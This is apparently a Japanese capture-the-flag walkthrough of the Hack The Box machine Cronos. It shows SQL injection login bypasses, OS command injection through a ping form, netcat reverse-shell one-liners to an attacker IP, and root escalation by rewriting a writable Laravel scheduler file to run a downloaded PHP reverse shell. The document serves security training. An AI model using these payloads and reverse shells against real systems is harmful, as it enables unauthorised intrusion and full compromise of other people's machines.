【Hack The Box】Cronos Walkthrough
はじめに
ポートスキャン
root@kali:~# nmap -sC -sV -Pn -p 1-10000 10.10.10.13 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-12 23:38 JST Nmap scan report for 10.10.10.13 Host is up (0.25s latency). Not shown: 9997 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA) | 256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA) |_ 256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519) 53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux) | dns-nsid: |_ bind.version: 9.10.3-P4-Ubuntu 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-title: Apache2 Ubuntu Default Page: It works Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 78.33 seconds
22(ssh)、53(dns)、80(http)が開いている。
hostsファイルに追記
- IPアドレスを指定してアクセスするとapacheのデフォルトページが表示されるため、
/etc/hosts
にマシン名のcronos.htb
を追記する。 http://cronos.htb
を指定すると、webページが表示される。
tcp/53の調査
tcp/53はゾーン情報をやりとりするポート。ゾーン転送要求してみたら返ってきた。★をつけたホストを全部/etc/hosts
に追加する。
root@kali:~# dig axfr @10.10.10.13 cronos.htb ; <<>> DiG 9.16.8-Debian <<>> axfr @10.10.10.13 cronos.htb ; (1 server found) ;; global options: +cmd cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800 cronos.htb. 604800 IN NS ns1.cronos.htb. cronos.htb. 604800 IN A 10.10.10.13 admin.cronos.htb. 604800 IN A 10.10.10.13★ ns1.cronos.htb. 604800 IN A 10.10.10.13★ www.cronos.htb. 604800 IN A 10.10.10.13★ cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800 ;; Query time: 252 msec ;; SERVER: 10.10.10.13#53(10.10.10.13) ;; WHEN: Sat Dec 12 23:55:51 JST 2020 ;; XFR size: 7 records (messages 1, bytes 203)
admin.cronos.htbの調査
ブラウザでアクセス
ログイン画面だった。
SQLi
ログイン画面といったらSQLi。以下のパターンで試したところ、4つ目(★)でログイン成功。
UserName/Password
admin/' or 1=1
admin' or 1=1 --/a
admin' or 1=1 -- /a
admin' or 1=1#/a ★これで入れた。
OSコマンドインジェクション
ログイン後の画面は、tracerouteやpingを指定したIPへ実行する機能(tracerouteは機能していない)。コマンドの結合をし、OSコマンドインジェクションを試行する。
ここにlocalhost; ls
と入れたら、返ってきた。OSコマンドインジェクションの脆弱性あり。
リバースシェル
which nc
より、nc
が入っていることが確認できたので、リバースシェル奪取を目指す。
-eオプションを指定した以下を実行したが失敗。nc
のバージョンによってはこのオプションはないため、失敗することもあるようだ。
localhost; nc -e /bin/sh 10.10.14.33 1234
以下を実行して無事成功。
localhostl; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.33 1234 >/tmp/f
user.txt獲得
root@kali:~# nc -lvp 1234 listening on [any] 1234 ... connect to [10.10.14.33] from cronos.htb [10.10.10.13] 55238 bash: cannot set terminal process group (1371): Inappropriate ioctl for device bash: no job control in this shell www-data@cronos:/var/www/admin$ www-data@cronos:/var/www/admin$ cd /home cd /home www-data@cronos:/home$ ls ls noulis www-data@cronos:/home$ cd noulis cd noulis www-data@cronos:/home/noulis$ ls ls user.txt www-data@cronos:/home/noulis$ cat user.txt cat user.txt XXXXXXXXXXXXXXXXX
権限昇格
sudo実行権限の確認
端末と紐づいていないため、そもそも実行できない。pythonでimport pty
すれば紐づけられそうだが、www-dataユーザのパスワードも発見できていないめ、やめておく。
www-data@cronos:/home/noulis$ sudo -l sudo -l sudo: no tty present and no askpass program specified
SUID
なにもなし。
www-data@cronos:/home/noulis$ find / -perm -4000 f 2>/dev/null find / -perm -4000 f 2>/dev/null www-data@cronos:/home/noulis$
cron
root権限で毎分実行されている★が気になる。
※laravel
はphpで書かれたwebアプリケーションフレームワーク
www-data@cronos:/home/noulis$ crontab -l crontab -l no crontab for www-data www-data@cronos:/home/noulis$ cat /etc/crontab cat /etc/crontab # /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do. SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # m h dom mon dow user command 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) * * * * * root php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1 ★ #
laravelのタスクスケジュール
laravel cron
で調べると、laravelのタスクスケジュールはapp/Console/Kernel.php
で記述するという情報が見つかる。
参考:https://reffect.co.jp/laravel/laravel-task-schedule-cron
このファイルの所有者を確認した所、以下であったため、編集可能。このファイルを書き換えてroot.txtを奪取できそう。
※現在のシェルだとvimやnanoが使えないので、攻撃者環境で作成しwget
でもってくるか、sed
で対応する必要がある。
www-data@cronos:/var/www/laravel/app/Console$ ls -l ls -l total 4 -rw-r--r-- 1 www-data www-data 819 Apr 9 2017 Kernel.php
php-reverse-shell.php
php-reverse-shell.phpを毎分実行するようKernel.phpを書き換える。 github.com
攻撃者環境で待ち受けて・・・
root@kali:~/cronos# python -m SimpleHTTPServer 8888 Serving HTTP on 0.0.0.0 port 8888 ...
wget
で取りに行き、実行権限を付与する。
www-data@cronos:/tmp$ wget http://10.10.14.33:8888/php-reverse-shell.php www-data@cronos:/tmp$ chmod +x php-reverse-shell.php
Kernel.phpの書き換え
攻撃者環境で、以下の部分(★)を追記。これで毎分実行されるはず。
root@kali:~/cronos# cat Kernel.php <?php (snip) /** * Define the application's command schedule. * * @param \Illuminate\Console\Scheduling\Schedule $schedule * @return void */ protected function schedule(Schedule $schedule) { // $schedule->command('inspire') // ->hourly(); $schedule->exec('php -f /tmp/php-reverse-shell.php')->everyMinute(); ★ } (snip)
Kernel.phpを持ってくる
上述の方法と同様に、攻撃者環境で用意したKernel.phpをwget
で取りに行く。
www-data@cronos:/var/www/laravel/app/Console$ mv Kernel.php Kernerl.php_bak mv Kernel.php Kernerl.php_bak www-data@cronos:/var/www/laravel/app/Console$ wget http://10.10.14.33:8888/Kernel.php <ravel/app/Console$ wget http://10.10.14.33:8888/Kernel.php --2020-12-12 18:59:16-- http://10.10.14.33:8888/Kernel.php Connecting to 10.10.14.33:8888... connected. HTTP request sent, awaiting response... 200 OK Length: 893 [application/octet-stream] Saving to: 'Kernel.php' 0K 100% 158M=0s 2020-12-12 18:59:17 (158 MB/s) - 'Kernel.php' saved [893/893] www-data@cronos:/var/www/laravel/app/Console$ www-data@cronos:/var/www/laravel/app/Console$ ls ls Kernel.php Kernerl.php_bak
root.txt獲得
あとはphp-reverse-shell.php
で指定したポートで待ち受けておけば、1分以内にcronが実行されて、root.txtが獲得できる。
root@kali:~/cronos# nc -lvp 4444 listening on [any] 4444 ... connect to [10.10.14.33] from cronos.htb [10.10.10.13] 53592 Linux cronos 4.4.0-72-generic #93-Ubuntu SMP Fri Mar 31 14:07:41 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux 19:04:01 up 1:36, 0 users, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=0(root) gid=0(root) groups=0(root) /bin/sh: 0: can't access tty; job control turned off # cd /root # cat root.txt XXXXXXXXXX
PS
/var/www/laravel/artisan
をphp-reverse-shell.php
に置き換えてもいけましたね。こっちの方が早い。